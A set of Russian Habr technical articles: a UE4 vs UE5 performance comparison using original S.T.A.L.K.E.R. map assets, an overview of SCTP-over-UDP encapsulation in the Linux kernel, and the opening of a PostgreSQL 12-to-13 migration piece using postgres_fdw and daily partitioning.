Теперь мы можем без труда устанавливать дополнительные приложения, работая c Windows, как если бы мы работали с OS X или Linux. | https://habr.com/ru/post/561492/ | null | ru | null |
# Тестируем S.T.A.L.K.E.R. на Unreal Engine 5 и сравниваем с UE4 (осторожно, трафик)
Признайтесь, вы подумали о S.T.A.L.K.E.R. 2, который как раз разрабатывают на Unreal Engine 5. Но это не он.
В данной статье я хочу сравнить прозводительность UE4 и UE5, используя ассеты оригинального Сталкера.
Предистория
-----------
Году в 2018 я загорелся идеей изучить Unreal Engine 4 и заодно создать на нём свою игру. Я сперва потыкался в редакторе сам, потом прошёлся по обучающим роликам, но никак не мог придумать что именно я хочу сделать, а также где взять ассеты для игры. Сам то я умею только программировать.
И тут мне в рекомендации на ютубе попадается видео с названием навроде "Я перенёс СТАЛКЕР на Unreal Engine 4 !!!11". Заголовок звучал громче чем само видео, потому что автор только импортировал одну из мультиплеерных карт оригинальной трилогии, натянул оригинальные текстуры, добавил траву, источники освещения и сказал "Вах как красиво!". Однако, это видео всё равно было очень полезно, потому что оно содержало инструкцию о том, где взять оригинальные ассеты и как их импортировать. А заодно это видео намекнуло мне, что я хочу сделать именно сталкера. Я же как раз фанат этой серии игр!
И что же вышло?
---------------
Понимая, что полноценная одиночная кампания мне не по силам, я решил сделать мультиплеер. Я опущу 2 года чтения мануалов движка, создания материалов и конечно же написания основного кода игры, так как это не по теме.
В итоге имеем:
* Портированы Затон из "Зова Припяти" и Бар из "Чистого Неба"
* Портированы все текстуры и сделаны материалы, которые могут правильно воспользоваться оригинальными текстурами
* Собственная система погоды, которая может выдать и солнечный день, и туман, и сильный ливень в ночи
* Собственная система предметов и инвентаря
* Собственная система стрельбы
* Реализованы режимы "Battle Royale" и "Deathmatch", в которые можно поиграть на Затоне и в Баре соответственно
* Внедрены необходимые оптимизации дабы всё это работало на моих тогдашних Intel Core i3 3rd gen и Nvidia 1050ti и выдавало минимум 60 кадров в секунду на максимальных настройках
А можно увидеть своими глазами?Вы можете увидеть финальную графику здесь:
А геймплей Королевской Битвы здесь (геймплей записывался на старой графике):
Также можете пощупать всё сами, скачав игру [отсюда](https://drive.google.com/file/d/1vC20CvdaIVDXJDHTvu74a6T0Tb8v68bw/view?usp=sharing)
Игра работает только в мультиплеере и ищет сервера через Steam, поэтому вам нужно сперва пробросить к себе порт `27016`, потом запустить сервер через `StartServer.bat` и зайти на него. По умолчанию запустится Королевская Битва и для старта матча нужно минимум 2 игрока. Чтобы поменять настройки сервера вам нужно зайти в папку `StalkerMP\Config` и переименовать `_Server_BR.cfg` либо `_Server_DM.cfg` в `Server.cfg`, а также отредактировать настройки в этих файлах как вам угодно.
Правда я забросил всё это летом 2020 года, потому что устал работать в одиночку и не смог набрать достаточно игроков чтобы подталкивать меня к дальнейшей разработке...
А причём здесь Unreal Engine 5?
-------------------------------
В декабре 2021 я решил глянуть как всё это будет работать на новом движке от Epic Games, благо он может запускать проекты для UE4 без дополнительных телодвижений (что намекает на то, что это просто дальнейшее развитие UE4, а цифра 5 в названии ради маркетинга).
Ещё стоит упомянуть, что разрабатывал я на Intel Core i7 3-го поколения и Nvidia GeForce 1050ti и соотствественно оптимизировал в первую очередь под них. Для разбирающихся, я в основном полагался на Hierarchical Level of Detail (HLOD), а также пришлось оптимизировать некоторые материалы при помощи вставок на чистом DirectX SM5. При этом я не использовал обычный LOD.
А сравнения снизу уже сделаны на AMD Ryzen 9 5900X и Nvidia RTX 3080ti, из-за чего использование того же HLOD не даёт практически никакого прироста производительности.
Ну и, в конце концов, оригинальные модели делались для собственного движка студии GSC Game World ещё в нулевые, а используемая в данном сравнении карта Затон была выпущена в 2009 году. Поэтому и количество полигонов и разрешение текстур соотвествующее. К примеру, в наше время моделька одного персонажа может иметь больше полигонов, чем любая из карт Сталкера целиком.
Также, чтобы полностью понять сравнения снизу, рекомендую почитать про систему [Nanite](https://docs.unrealengine.com/5.0/en-US/RenderingFeatures/Nanite/), которая является главным нововведением в UE5. Грубо говоря, при включенном Nanite движок самостоятельно генерирует LOD и переключается между ними так, чтобы это не было заметно глазу. Также в UE5 добавили систему [Lumen](https://docs.unrealengine.com/5.0/en-US/RenderingFeatures/Lumen/), но её в данном посте не будет.
Собственно, сравнение
---------------------
Тестирование проводилось в полностью скомпилированной игре, чтобы интерфейс редактора не влиял на результаты.
Сравнивать я буду одни и те же сцены, все на карте "Затон", но в разных сценариях:
1. Изначальная сцена на UE4 со всеми оптимизациями, включая HLOD
2. Та же сцена с теми же оптимизациями, но на UE5. Система Nanite при этом включена, но в сцене нет ни одной модели, которая её использует.
3. Та же сцена с теми же оптимизациями на том же UE5, но с полностью выключенном Nanite (`r.Nanite 0` в консоли)
4. Та же сцена на UE5 с полностью активным Nanite и без HLOD
Я не нашёл как сделать удобное сравнение картинок на хабре (это вообще возможно?), поэтому рекомендую открывать их в отдельной вкладке и сравнивать самостоятельно. Вы можете увидеть частоту кадров справа вверху, а более подробная статистика находится ниже.
Вид с "Шевченко" на "Станцию переработки отходов"UE4UE5 с включённым, но неиспользуемым NaniteUE5 с выключенным NaniteUE5 с полностью активным Nanite и без HLODВы можете заметить слегка разное освещение. Это из-за того, что UE5 принудительно включил авто экспозицию, хотя я отключал её в проекте на UE4. Это нужно для Lumen, потому что иначе оно выглядит хуже. Мне же авто экспозиция не нужна, поэтому я захардкодил минимальное и максимальное значение экспозиции так, чтоб оно выглядело примерно как на UE4
Несмотря на одинаковые настройки, UE5 рендерит объекты слегка по-другому:
Этот камыш не рендерится в UE4 и не отбрасывает теньА здесь наоборот, машину на мосту видно в UE4, но не видно в UE5Если отключить HLOD, то корабль и здания вдали выглядят лучше (кто бы мог подумать)Производительность UE5, однако, оставляет желать лучшего:
| | | |
| --- | --- | --- |
| **Движок** | **FPS** | **% FPS** |
| UE4 | 293 | 100 % |
| UE5 при не используемом Nanite | 134 | 46 % |
| UE5 при выключенном Nanite | 209 | 71 % |
| UE5 при используемом Nanite и без HLOD | 101 | 34 % |
Вид с болота на "Шевченко"UE4UE5 с включённым, но неиспользуемом NaniteUE5 с выключенным NaniteUE5 с полностью активным Nanite и без HLODЗдесь можно заметить, что Nanite слегка двигает координаты текстур, что видно на материале земли на последних двух скриншотах.
| | | |
| --- | --- | --- |
| **Движок** | **FPS** | **% FPS** |
| UE4 | 267 | 100 % |
| UE5 при не используемом Nanite | 132 | 49 % |
| UE5 при выключенном Nanite | 198 | 74 % |
| UE5 при используемом Nanite и без HLOD | 98 | 37 % |
Вид внутри "Скадовска"В данной сцене присутствует 4 стационарных (stationary) источников света
UE4UE5 с включённым, но неиспользуемом NaniteUE5 с выключенным NaniteUE5 с полностью активным Nanite и без HLODВключение Nanite изменило освещение помещения, что видно на последних двух скриншотах сверху. На мой взгляд без него выглядит чуть более естественно.
Nanite по какой-то причине не рендерит декаль грязи в конце комнаты
| | | |
| --- | --- | --- |
| **Движок** | **FPS** | **% FPS** |
| UE4 | 350 | 100 % |
| UE5 при не используемом Nanite | 162 | 46 % |
| UE5 при выключенном Nanite | 264 | 75 % |
| UE5 при используемом Nanite и без HLOD | 114 | 33 % |
Вид с опоры ЛЭП на почти всю картуНа данной сцене вы можете увидеть баг в UE5, когда при определённом положении и повороте камеры объекты в кадре становятся чёрными, но иногда отрисовываются нормально. Как я понял из гугла, тот же самый баг присутствует и в UE 4.26 (я использовал 4.25), то есть UE5 тут не виноват. Баг как-то связан с драйверами Nvidia и для починки надо откатиться на более старую версию. Я не хотел этого делать, поэтому оставил как есть. Я не заметил какого-либо влияния бага на производительность, поэтому считаю сравнение честным.
Стоит заметить, что Static Mesh с Opaque материалами не видно вообще (ландшафт, корабли, стволы деревьев), в то время как Static Mesh с Masked материалами мерцают (кусты и листва деревьев), а Instanced Foliage (трава) не затронут вообще. При этом баг не затрагивает Static Mesh, для которых включён Nanite (последний скриншот). Однако, Nanite не работает с Masked материалами, поэтому кусты и деревья всё ещё мерцают.
Ещё забавно то, что баг не проявляется в редакторе, но проявляется в скомпилированном проекте.
UE4UE5 с включённым, но неиспользуемом NaniteUE5 с выключенным NaniteUE5 с полностью активным Nanite и без HLOD
| | | |
| --- | --- | --- |
| **Движок** | **FPS** | **% FPS** |
| UE4 | 230 | 100 % |
| UE5 при не используемом Nanite | 131 | 56 % |
| UE5 при выключенном Nanite | 176 | 77 % |
| UE5 при используемом Nanite и без HLOD | 79 | 34 % |
Вид с опоры ЛЭП на почти всю карту без прямого солнечного освещенияОписанный выше баг в UE5 присутствует и здесь.
В данном случае отключено солнечное освещение, поэтому производительность выше.
UE4UE5 с включённым, но неиспользуемом NaniteUE5 с выключенным NaniteUE5 с полностью активным Nanite и без HLOD
| | | |
| --- | --- | --- |
| **Движок** | **FPS** | **% FPS** |
| UE4 | 256 | 100 % |
| UE5 при не используемом Nanite | 139 | 54 % |
| UE5 при выключенном Nanite | 222 | 87 % |
| UE5 при используемом Nanite и без HLOD | 89 | 35 % |
Вид с опоры ЛЭП на почти всю карту при сильном ливне (нет солнца и очень много полупрочзачного дождя)Казалось бы, дальние объекты не видно, а значит они не должны отрисовываться и производительность должна быть выше. Жаль, что движок не учитывает глубину тумана (капли дождя видны только вблизи, а эффект дождя вдали - на самом деле туман) при вырезании невидимых объектов, поэтому он сперва отрисывывает всё, а потом закрашивает туманом. При этом производительность только ниже чем в солнечный день, а всё из-за множества полупрозрачных (Translucent) частиц дождя.
UE4UE5 с включённым, но неиспользуемом NaniteUE5 с выключенным NaniteUE5 с полностью активным Nanite и без HLOD
| | | |
| --- | --- | --- |
| **Движок** | **FPS** | **% FPS** |
| UE4 | 164 | 100 % |
| UE5 при не используемом Nanite | 131 | 80 % |
| UE5 при выключенном Nanite | 142 | 87 % |
| UE5 при используемом Nanite и без HLOD | 81 | 49 % |
Нет, я не перепутал скриншоты. Я ожидал, что Nanite будет посередине между включённом, но не используемом, и полностью выключенном. Но нет, он показал себя хуже всех... И это странно, потому что если убрать HLOD, оставить Nanite включённым, но не используемым, то fps падает всего на 1 на текущем железе (На старом железе разница была большая, но цифр у меня уже нет). Я не знаю что здесь не так.
Опять же напомню, что все эти ассеты создавались для игры 2009 года и для совершенно другого движка, и полигонов там по современным меркам мало, а Nanite из UE5 делается для очень многополигональных сцен. Но это всё равно странно!
Однако производительность падает даже при выключенном Nanite. Это точно не Lumen, я проверял, это что-то ещё...
Куда уходят драгоценные милисекунды?
------------------------------------
В данной главе сравниваются данные, отображаемые консольными командами `stat gpu` и `stat rhi` в попытке понять, какой компонент движка стал хуже делать свою работу. Если вам такое не интересно, можете пройти сразу к выводам.
| | |
| --- | --- |
| **Компонент** | **Объяснение** |
| Prepass | Подготовка сцены к отрисовке |
| Basepass | Собственно, базовая отрисовка сцены |
| Shadows | Просчёт и наложение теней. Сюда включены Shadow Depths и Shadow Projection. |
| HZB | Расчёт глубины сцены. Это нужно для исключения невидимых объектов из дальнейшей обработки. |
| SSAO | ScreenSpace Ambient Occlusion |
| Postprocessing | Постпроцесс, то есть наложение дополнительных эффектов поверх уже отрисованной сцены |
| Translucency | Просчёт полупрозрачных объектов |
| GPU Scene Update | Я не знаю что это, гугл тоже не помог |
| Nanite | Собственно, новая технология в UE5. Включает все строки с Nanite в названии. |
| [unaccounted] | Некие расчёты видеокарты, которые движок не смог отследить |
| Triangles drawn | Количество отрисованных полигонов |
Вид с "Шевченко" на "Станцию переработки отходов"UE4UE5 с включённым, но неиспользуемом NaniteUE5 с выключенным NaniteUE5 с полностью активным Nanite и без HLOD
| | | | | |
| --- | --- | --- | --- | --- |
| | **UE4** | **UE5,**Nanite не используется | **UE5,**Nanite выключен | **UE5,**нет HLOD,Nanite используется |
| Prepass | 0.58 | 0.57 | 0.57 | 0.57 |
| Basepass | 0.71 | 0.97 | 0.92 | 2.24 |
| Shadows | 1.19 | 2.01 | 1.11 | 2.79 |
| HZB | 0.37 | 0.18 | 0.15 | 0.25 |
| SSAO | 0.28 | 0.26 | 0.26 | 0.33 |
| Postprocessing | 0.35 | 0.32 | 0.35 | 0.34 |
| Translucency | 0.14 | 0.19 | 0.17 | 0.28 |
| GPU Scene Update | 0.00 | 1.91 | 1.64 | 1.96 |
| Nanite | - | 1.22 | - | 2.23 |
| [unaccounted] | 0.12 | 0.20 | 0.88 | 0.21 |
| Triangles drawn | 1,210,837 | 19,180 | 19,298 | 1,663,262 |
Уже в первой сцене можно заметить причину тормозов:
* `Basepass` в UE5 подскакивает на 0.20 ms даже без Nanite, а с ним вообще отбирает больше 2 ms!
* Nanite также требует значительно больше времени на `Shadows`, а вот без него производительность даже немного улучшилась.
* Также в UE5 оптимизировали `HZB`, либо же часть его работы попадает в `[unaccounted]`.
* `SSAO` работает чуть-чуть быстрее в UE5 без Nanite, но медленнее если его включить. Разница, впрочем, мизерная.
* `Postprocessing` тоже стал чуточку быстрее.
* Расчёты `Translucency` стали медленнее во всех случаях, а с Nanite так вообще в 2 раза хуже.
* `GPU Scene Update` не отнимал вообще нисколько времени в UE4, а в UE5 неожиданно стал отнимать больше полутора миллисекунд.
* Ну и, собственно, сам `Nanite`, к сожалению, скорее уменьшает производительность, так как в сцене изначально не так уж много полигонов чтоб их оптимизация давала эффект.
* К слову о полигонах. UE5 почему-то не учитывает большинство отрисованных полигонов в своей статистике если Nanite не используется. Сам Nanite при этом проигрывает HLOD в количестве вырезанных полигонов на целых 250 тысяч. Впрочем, хоть я это и не показал в статье, эта же сцена на UE4 без HLOD отрисовывает примерно 1,750,000 треугольников, так что Nanite всё же немного свою работу делает.
Вид с болота на "Шевченко"UE4UE5 с включённым, но неиспользуемом NaniteUE5 с выключенным NaniteUE5 с полностью активным Nanite и без HLOD
| | | | | |
| --- | --- | --- | --- | --- |
| | **UE4** | **UE5,**Nanite не используется | **UE5,**Nanite выключен | **UE5,**нет HLOD,Nanite используется |
| Prepass | 0.62 | 0.48 | 0.48 | 0.49 |
| Basepass | 0.79 | 0.97 | 0.92 | 2.42 |
| Shadows | 1.24 | 2.11 | 1.23 | 2.90 |
| HZB | 0.39 | 0.20 | 0.17 | 0.22 |
| SSAO | 0.29 | 0.26 | 0.26 | 0.26 |
| Postprocessing | 0.34 | 0.31 | 0.34 | 0.32 |
| Translucency | 0.14 | 0.19 | 0.19 | 0.20 |
| GPU Scene Update | 0.00 | 1.90 | 1.76 | 1.88 |
| Nanite | - | 1.24 | - | 2.52 |
| [unaccounted] | 0.11 | 0.20 | 0.93 | 0.20 |
| Triangles drawn | 1,434,587 | 38,282 | 38,428 | 1,681,518 |
* В данной сцене `Prepass` неожиданно стал заметно быстрее в UE5, хотя в предыдущей сцене разницы не было.
* Также в этой сцене больше полигонов, что видно по цифрам без Nanite. А вот с ним число почти не изменилось, то есть здесь он делает свою работу лучше.
* По остальным параметрам ситуация такая же, как и в предыдущей сцене.
Вид внутри "Скадовска"UE4UE5 с включённым, но неиспользуемом NaniteUE5 с выключенным NaniteUE5 с полностью активным Nanite и без HLOD
| | | | | |
| --- | --- | --- | --- | --- |
| | **UE4** | **UE5,**Nanite не используется | **UE5,**Nanite выключен | **UE5,**нет HLOD,Nanite используется |
| Prepass | 0.56 | 0.09 | 0.10 | 0.08 |
| Basepass | 0.44 | 0.43 | 0.36 | 0.25 |
| Shadows | 1.14 | 1.81 | 1.24 | 2.87 |
| HZB | 0.39 | 0.15 | 0.15 | 0.18 |
| SSAO | 0.26 | 0.26 | 0.26 | 0.26 |
| Postprocessing | 0.34 | 0.42 | 1.68 | 0.33 |
| Translucency | 0.08 | 0.13 | 0.12 | 0.13 |
| GPU Scene Update | 0.00 | 1.64 | 1.52 | 5.20 |
| Nanite | - | 1.21 | - | 2.46 |
| [unaccounted] | 0.01 | 0.54 | 0.38 | 0.11 |
| Triangles drawn | 1,004,122 | 42,488 | 42,579 | 1,684,821 |
Данная сцена находится в помещении, что сильно влияет на цифры
* `Prepass,` неожиданно, почти ничего не стоит в UE5 во всех сценариях
* `Basepass` и `HZB` тоже работают лучше в UE5
* `Shadows` и `Translucency` по прежнему медленнее
* А `Postprocessing` вообще удивил. Почему полное отключение Nanite делает его таким медленным в данной сцене?
* `GPU Scene Update` по-прежнему замедляет работу, а при использовании Nanite вообще ведёт себя ужасно
* Обратите внимание, что UE4 здесь рисует заметно меньше треугольников чем в предыдущих сценах, а UE5 во всех сценариях рисует больше. Подозреваю, что в UE5 сломалось вырезание объектов, которые полностью скрыты за другими.
Вид с опоры ЛЭП на почти всю картуUE4UE5 с включённым, но неиспользуемом NaniteUE5 с выключенным NaniteUE5 с полностью активным Nanite и без HLOD
| | | | | |
| --- | --- | --- | --- | --- |
| | **UE4** | **UE5,**Nanite не используется | **UE5,**Nanite выключен | **UE5,**нет HLOD,Nanite используется |
| Prepass | 0.85 | 0.54 | 0.58 | 0.52 |
| Basepass | 0.87 | 1.09 | 0.83 | 2.71 |
| Shadows | 0.97 | 1.58 | 1.09 | 2.70 |
| HZB | 0.52 | 0.33 | 0.29 | 0.37 |
| SSAO | 0.27 | 0.26 | 0.28 | 0.26 |
| Postprocessing | 0.33 | 0.30 | 0.32 | 0.31 |
| Translucency | 0.10 | 0.13 | 0.13 | 0.15 |
| GPU Scene Update | 0.00 | 1.91 | 2.21 | 1.94 |
| Nanite | - | 1.24 | - | 2.81 |
| [unaccounted] | 0.01 | 0.10 | 0.63 | 0.11 |
| Triangles drawn | 1,464,696 | 39,090 | 38,833 | 1,682,196 |
Мы снова вернулись на открытое пространство. Цифры не сильно отличаются от "Вида с болот на Шевченко", поэтому добавить здесь нечего.
Вид с опоры ЛЭП на почти всю карту без прямого солнечного освещенияUE4UE5 с включённым, но неиспользуемом NaniteUE5 с выключенным NaniteUE5 с полностью активным Nanite и без HLOD
| | | | | |
| --- | --- | --- | --- | --- |
| | **UE4** | **UE5,**Nanite не используется | **UE5,**Nanite выключен | **UE5,**нет HLOD,Nanite используется |
| Prepass | 0.85 | 1.92 | 1.15 | 4.79 |
| Basepass | 0.91 | 1.09 | 0.83 | 0.92 |
| Shadows | - | - | - | - |
| HZB | 0.67 | 0.35 | 0.30 | 0.34 |
| SSAO | 0.28 | 0.27 | 0.29 | 0.26 |
| Postprocessing | 0.34 | 0.33 | 0.40 | 0.33 |
| Translucency | 0.10 | 0.14 | 0.13 | 0.15 |
| GPU Scene Update | 0.00 | 1.25 | 1.20 | 1.31 |
| Nanite | - | 0.81 | - | 2.47 |
| [unaccounted] | 0.01 | 0.07 | 0.50 | 0.07 |
| Triangles drawn | 1,067,320 | 139,303 | 139,141 | 1,681,544 |
А здесь я сменил солнечную погоду на облачную, поэтому теней здесь нет.
* `Prepass` внезапно стал тяжелее, чем при наличии солнца
* Солнца нет, соответственно `Shadows` ничего не делает
* `GPU Scene Update` и `Nanite` стали заметно дешевле
* Число треугольников в UE4 заметно упало, а в UE5 с Nanite не изменилось. Без Nanite же число выросло в 10 раз, но там статистика поломана, поэтому на них не смотрим.
Вид с опоры ЛЭП на почти всю карту при сильном ливне (нет солнца и очень много полупрочзачного дождя)UE4UE5 с включённым, но неиспользуемом NaniteUE5 с выключенным NaniteUE5 с полностью активным Nanite и без HLOD
| | | | | |
| --- | --- | --- | --- | --- |
| | **UE4** | **UE5,**Nanite не используется | **UE5,**Nanite выключен | **UE5,**нет HLOD,Nanite используется |
| Prepass | 0.89 | 2.03 | 1.14 | 4.34 |
| Basepass | 0.93 | 1.18 | 0.88 | 1.10 |
| Shadows | - | - | - | - |
| HZB | 1.03 | 0.39 | 0.30 | 0.37 |
| SSAO | 0.28 | 0.26 | 0.28 | 0.27 |
| Postprocessing | 0.30 | 0.34 | 0.39 | 0.30 |
| Translucency | 8.59 | 7.12 | 8.15 | 7.46 |
| GPU Scene Update | 0.00 | 3.00 | 2.24 | 3.67 |
| Nanite | - | 1.43 | - | 3.30 |
| [unaccounted] | 0.03 | 0.13 | 0.53 | 0.14 |
| Triangles drawn | 1,115,490 | 140,500 | 139,404 | 1,796,389 |
А в данной сцене ну оооочень много полупрозрачных частиц дождя. Важно отметить, что здесь UE5 оказался наиболее близок по производительности к UE4
* `Prepass` в UE5 опять хулиганит, причём особенно сильно при включенном Nanite.
* `Basepass` отнимает больше времени при включённом Nanite по сравнению с UE4, но меньше при выключенном.
* А вот `HZB` работает сильно лучше в UE5 по сравнению с предшественником
* `Translucency` тоже лучше в UE5
* А вот `GPU Scene Update` стал отнимать ещё больше времени
* `Nanite` тоже стал медленнее
* Число треугольников увеличилось во всех сценариях. Причём на UE4 оно всё ещё меньше чем в солнечную погоду, а вот в UE5 оно заметно больше
Вывод
-----
* ~~Не переносите старого сталкера на UE5, переносите на UE4~~
* Текущая альфа UE5 плохо показывает себя в низкополигональных сценах, что в больших и открытых, что в маленьких закрытых. Производительность падает в среднем до 50% от UE4 в одинаковых условиях.
* Можно отключить Nanite совсем через команду `r.Nanite 0` в консоли, но производительность всё ещё будет хуже - 75% от UE4. Однако, если отключить солнечный свет, то будет около 87% от UE4.
* Если же убрать HLOD, включить Nanite и активировать его для всех непрозрачных мешей, то производительность упадёт ещё ниже - аж целых 35% от UE4! Частично причина в том, что HLOD упрощает не только модели, но и материалы, а Nanite нет (вроде бы). То есть теперь просчёт пикселей занимает больше времени. Но там явно виновато что-то ещё, и я не знаю что...
* Если добавить в сцену множество полупрозрачных частиц (дождь), то производительность упадёт везде и очень сильно, но отставание UE5 уменьшится - 80/87/49 процентов от UE4. Это говорит о том, что пиксельные шейдеры в UE5 не трогали, а трогали только вершинные.
* Собственно, главный вывод - не стоит делать низкополигональные игры на текущей альфе UE5. Надеюсь, это починят в будущем.
Бонус
-----
UE4 уделывает и оригинальный движок сталкера X-Ray по производительности.
К примеру, вид с опоры ЛЭП скачет между 95 и 115 fps в Зове Припяти, в то время как UE4 выдаёт 230 fps. А если уткнуться в землю, то будет ровно 125 fps, то есть X-Ray ограничивает максимальную частоту кадров.
Можно сравнить и с модом Anomaly, который работает на современной фанатской версии X-Ray. Там fps болтается в районе 100, а разглядывание земли поднимает до максимально возможных 500. Картинка при этом сильно красивее, так что фанаты постарались на славу.
СкриншотыUE4Зов ПрипятиAnomalyСпасибо за внимание!
-------------------- | https://habr.com/ru/post/598699/ | null | ru | null |
# Простейшее решение «проблемы промежуточных устройств»: организация работы SCTP поверх UDP в ядре Linux
Возможность организации работы SCTP поверх UDP (известная ещё как инкапсуляция SCTP-пакетов в UDP-пакеты) определена в [RFC 6951](https://datatracker.ietf.org/doc/html/rfc6951) и реализована в пространстве ядра Linux начиная с версии ядра 5.11.0. Поддержку этой возможности планируется включить в [Red Hat Enterprise Linux](https://developers.redhat.com/products/rhel/overview) (RHEL) 8.5.0 и 9.0.
[](https://habr.com/ru/company/ruvds/blog/575344/)
В этом материале даётся краткий обзор организации работы SCTP поверх UDP в ядре Linux.
Зачем нужна организация работы SCTP поверх UDP?
-----------------------------------------------
В вышеупомянутом RFC 6951 выделены две основные причины необходимости организации работы SCTP поверх UDP:
* Это нужно для того чтобы позволить SCTP-трафику проходить через устаревшие NAT-системы, не имеющие встроенной поддержки SCTP, как указано в [этом](https://datatracker.ietf.org/doc/html/rfc6951#ref-BEHAVE) и [этом](https://datatracker.ietf.org/doc/html/rfc6951#ref-NATSUPP) документах.
* Это нужно для того чтобы открыть возможность реализации SCTP на хостах, которые не предоставляют прямого доступа к уровню IP. В частности, речь идёт о том, чтобы у приложений была бы возможность использовать собственную реализацию SCTP в том случае, если операционная система не предоставляет им своей реализации SCTP.
Первая причина связана с решением «проблем промежуточных устройств». Эти проблемы доставили тем, кто пользуется SCTP, много неприятностей и встали на пути у широкого использования SCTP. В основе второй причины лежит потребность в наличии механизма, который позволяет разработчикам приложений пользовательского уровня создавать собственные реализации SCTP, основанные на UDP.
Как работает инкапсуляция SCTP-пакетов в UDP-пакеты?
----------------------------------------------------
Если в нашем распоряжении имеется возможность организации работы SCTP поверх UDP, то оказывается, что SCTP-пакеты инкапсулируются в UDP-пакеты. Реализация этого механизма создана с использованием набора API для работы с UDP-туннелями. Эти API уже использовались для организации работы протоколов VXLAN, GENEVE и TIPC.
Ядро, для того чтобы иметь возможность получать инкапсулированные пакеты, прослушивает особый UDP-порт на всех локальных интерфейсах. По умолчанию используется порт `9899`. Этот порт, кроме того, играет роль порта `src` для UDP-пакетов, отправляемых хостом. Вполне логично то, что порт `dest` системы, с которой ведётся обмен данными, должен быть портом, который прослушивает эта система. В качестве его номера тоже, по умолчанию, используется `9899`. Адреса портов `src` и `dest`, связанные с SCTP-механизмами, используются и в IP-заголовках:
```
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| IP(v6)-заголовок (адреса, связанные с SCTP) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| UDP-заголовок (src: 9899, dest: 9899) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Общий заголовок SCTP (SCTP-порты) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Блок SCTP #1 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ... |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Блок SCTP #n |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```
Обратите внимание на то, что протокол SCTP принимает во внимание UDP-заголовок при нахождении точки фрагментации данных.
Как пользоваться реализацией SCTP поверх UDP?
---------------------------------------------
С точки зрения использования описываемого здесь механизма в программах, можно сказать, что тут нет никакой разницы с тем, что было раньше. А именно, можно применять все стандартные возможности SCTP, в новых условиях доступны и все прежние API. Старые приложения будут работать правильно без необходимости внесения в них изменений или их перекомпиляции. Единственно — нужно правильно настроить UDP-порт (локальный порт, который прослушивает система, или порт `src`) и точку инкапсуляции (порт, который прослушивает удалённая система, или порт `dest`). Для конкретного сетевого пространства имён сделать это можно с помощью утилиты `sysctl`:
```
# sysctl -w net.sctp.encap_port=9899
# sysctl -w net.sctp.udp_port=9899
```
Можно, в качестве альтернативы, использовать команду `setsockopt` и настроить порт инкапсуляции для отдельного сокета (socket), для того, что в SCTP принято называть «ассоциацией» (association), или для транспортного механизма (transport):
```
setsockopt(SCTP_REMOTE_UDP_ENCAPS_PORT, port);
```
На стороне сервера обычно нет нужды специально настраивать порт инкапсуляции. Подробнее об этом мы поговорим в следующем разделе.
Порт инкапсуляции UDP
---------------------
Концепция порта инкапсуляции UDP отличается большой гибкостью. На стороне отправителя данных глобальный порт инкапсуляции демонстрирует лишь значение, задаваемое по умолчанию:
* Порт инкапсуляции, заданный для отдельного сокета (per-socket) может быть использован тогда, когда другой сокет на одном хосте соединён с другим хостом, на котором используется другой UDP-порт.
* Порт инкапсуляции, заданный для отдельной ассоциации (per-association) может быть использован тогда, когда тот же самый сокет соединён с другим хостом, на котором используется другой UDP-порт.
* Порт инкапсуляции, задаваемый для отдельного транспортного механизма (per-transport), может быть использован тогда, когда в рамках одной и той же ассоциации нужно отправлять SCTP-пакеты, инкапсулированные в UDP-пакеты, пользуясь заданным транспортом.
На стороне получателя данных порт инкапсуляции обычно задавать не нужно:
* Порт инкапсуляции каждой ассоциации можно выяснить, проанализировав первый пакет `INIT`. Другие такие пакеты, в которых указан другой UDP-порт `src`, после этого будут отбрасываться.
* Порт инкапсуляции для каждого транспортного механизма можно узнать из входящих пакетов соответствующего пути, номер порта может быть обновлён в любое время.
* Обычные SCTP-пакеты могут обрабатываться даже тогда, когда заданы порты инкапсуляции ассоциации и её транспортных механизмов.
Итоги
-----
Если вы пользуетесь SCTP, если вам нравятся возможности этого протокола, вроде поддержки множественной адресации (Multihoming), многопоточности (Multi-streaming) и разрешения на потерю некоторых пакетов (Partial Reliability), но вы сталкиваетесь с «проблемами промежуточных устройств», теперь вы можете прибегнуть к возможностям ядра Linux, которые дают нам самый простой способ эти проблемы обойти.
Применяете ли вы SCTP?
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=prostejshee_reshenie_%C2%ABproblemy_promezhutochnyx_ustrojstv%C2%BB:_organizaciya_raboty_sctp_poverx_udp_v_yadre_linux) | https://habr.com/ru/post/575344/ | null | ru | null |
# DBA: меняем «слонов» на переправе
Как нормальные DBA, мы подождали выпуск пары минорных версий к PostgreSQL 13, который должен порадовать нас [многими полезными вещами](https://www.postgresql.org/docs/release/13.0/), и теперь готовы перенести базу [нашего сервиса мониторинга](https://habr.com/ru/post/487380/) этой СУБД **с 12-й версии на 13-ю**.
Но как это сделать с минимальным простоем, а лучше вообще без него? На помощь придет функционал **Foreign Data Wrappers**, а точнее - [postgres\_fdw](https://postgrespro.ru/docs/postgresql/13/postgres-fdw).
Структура исходной базы
-----------------------
Некоторые детали об устройстве базы нашего сервиса, которые помогают нам очень быстро записывать приходящие данные, я рассказывал в статьях ["Пишем в PostgreSQL на субсветовой: 1 host, 1 day, 1TB"](https://habr.com/ru/post/497008/) и ["Экономим копеечку на больших объемах в PostgreSQL"](https://habr.com/ru/post/498292/). Если в двух словах, то **грамотное секционирование БД** решает массу проблем производительности.
Мы применяем **секционирование по дням** в силу того, что у нас приходит по 100-150GB данных ежедневно. Давайте смоделируем структуру нашей базы `tst` на PostgreSQL 12:
```
CREATE TABLE archive(
dt
date
, val
integer
)
PARTITION BY RANGE(dt); -- секционирование по диапазонам
CREATE TABLE archive_20210401 -- секция конкретного дня
PARTITION OF archive
FOR VALUES FROM ('2021-04-01') TO ('2021-04-02');
-- dt >= '2021-04-01' AND dt < '2021-04-02'
CREATE TABLE archive_20210402
PARTITION OF archive
FOR VALUES FROM ('2021-04-02') TO ('2021-04-03');
```
